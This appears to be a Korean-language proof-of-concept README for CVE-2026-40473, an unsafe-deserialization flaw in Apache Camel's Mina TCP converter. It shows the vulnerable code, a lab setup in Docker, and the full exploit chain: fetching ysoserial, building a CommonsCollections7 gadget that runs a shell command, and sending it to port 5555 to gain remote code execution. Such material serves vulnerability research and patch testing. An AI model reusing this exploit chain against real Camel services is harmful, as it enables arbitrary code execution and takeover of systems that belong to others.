// MinaConverter.toObjectInput(IoBuffer) - 영향을 받는 버전
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // ObjectInputFilter 없음
}

from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // 역직렬화 싱크
        exchange.getMessage().setBody("deserialized: " + obj);
    });

mvn clean package -DskipTests
docker compose up -d --build

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# JDK 21에서는 CommonsCollections 가젯을 생성하기 위해 --add-opens 추가:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# 번들된 헬퍼가 mina:5555에 원시 TCP 소켓을 열고 바이트를 씁니다. 피해 경로가 이를 ObjectInput으로 변환하고 readObject()를 호출합니다.
# -> ">>> RCE 증명 — /tmp/pwned 존재: true"

docker exec cve-2026-40473 ls -la /tmp/pwned

docker compose down

CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # 피해: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: 직렬화된 바이트를 TCP를 통해 mina:5555로 전송
    └── resources/
        └── application.properties